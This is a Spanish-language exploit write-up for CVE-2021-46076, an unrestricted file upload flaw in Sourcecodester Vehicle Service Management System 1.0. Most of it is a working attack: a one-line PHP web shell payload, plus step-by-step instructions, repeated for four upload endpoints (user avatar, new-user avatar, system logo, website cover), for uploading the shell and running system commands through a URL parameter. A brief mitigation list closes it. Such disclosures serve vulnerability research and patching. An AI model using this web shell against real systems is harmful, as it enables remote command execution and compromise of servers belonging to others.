CVE-2021-46076
Título del Exploit: Vehicle Service Management System - La subida de múltiples archivos conduce a la ejecución de código
Autor del Exploit: SANU P.L
CVE: CVE-2021-46076
CVSS: 8.8 ALTA
Referencias:
Descripción:
Sourcecodester Vehicle Service Management System 1.0 es vulnerable a la subida de archivos. Un atacante puede subir un archivo php malicioso en múltiples endpoints, lo que conduce a la ejecución de código.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Navegue a la sección My Account http://localhost/vehicle_service/admin/?page=user
Payload:
<?php system($_GET['cmd']);?>
- Guarde el código php anterior, por ejemplo: Cmd.php
- En la sección My Account, ingrese todos los detalles requeridos y seleccione el archivo php en Avatar.
- Haga clic en el botón de actualizar.
- Abra la imagen del avatar en una nueva pestaña.
- Agregue el parámetro cmd en la URL y ejecute los comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Ejecute todos los comandos del sistema, por ejemplo: id, whoami, pwd, etc.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Navegue a la sección User List y haga clic en el botón Create New.
Payload:
<?php system($_GET['cmd']);?>
- Guarde el código php anterior, por ejemplo: Cmd.php
- En la página Create New User, ingrese todos los detalles requeridos y seleccione el archivo php en Avatar.
- Haga clic en el botón Save.
- Abra la imagen del avatar en una nueva pestaña.
- Agregue el parámetro cmd en la URL y ejecute los comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Ejecute todos los comandos del sistema, por ejemplo: id, whoami, pwd, etc.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Navegue a la sección Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Guarde el código php anterior, por ejemplo: Cmd.php
- En la sección Settings, ingrese todos los detalles requeridos y seleccione el archivo php en System Logo.
- Haga clic en el botón de actualizar.
- Abra la imagen del System Logo en una nueva pestaña.
- Agregue el parámetro cmd en la URL y ejecute los comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Ejecute todos los comandos del sistema, por ejemplo: id, whoami, pwd, etc.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Navegue a la sección Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Guarde el código php anterior, por ejemplo: Cmd.php
- En la sección Settings, ingrese todos los detalles requeridos y seleccione el archivo php en Website Cover.
- Haga clic en el botón de actualizar.
- Abra la imagen del Website Cover en una nueva pestaña.
- Agregue el parámetro cmd en la URL y ejecute los comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Ejecute todos los comandos del sistema, por ejemplo: id, whoami, pwd, etc.
Impacto:
Un atacante puede subir un archivo php malicioso en múltiples endpoints, lo que conduce a la ejecución de código.
Mitigación:
Se recomienda implementar lo siguiente:
- Nunca acepte un nombre de archivo y su extensión directamente sin tener un filtro de lista blanca.
- Si no es necesario tener caracteres Unicode, se recomienda encarecidamente aceptar solo caracteres alfanuméricos y solo un punto como entrada para el nombre del archivo y la extensión.
- Limite el tamaño del archivo a un valor máximo para prevenir ataques de denegación de servicio.
- El directorio de subida no debe tener ningún permiso de 'ejecución'.
- No confíe únicamente en la validación del lado del cliente.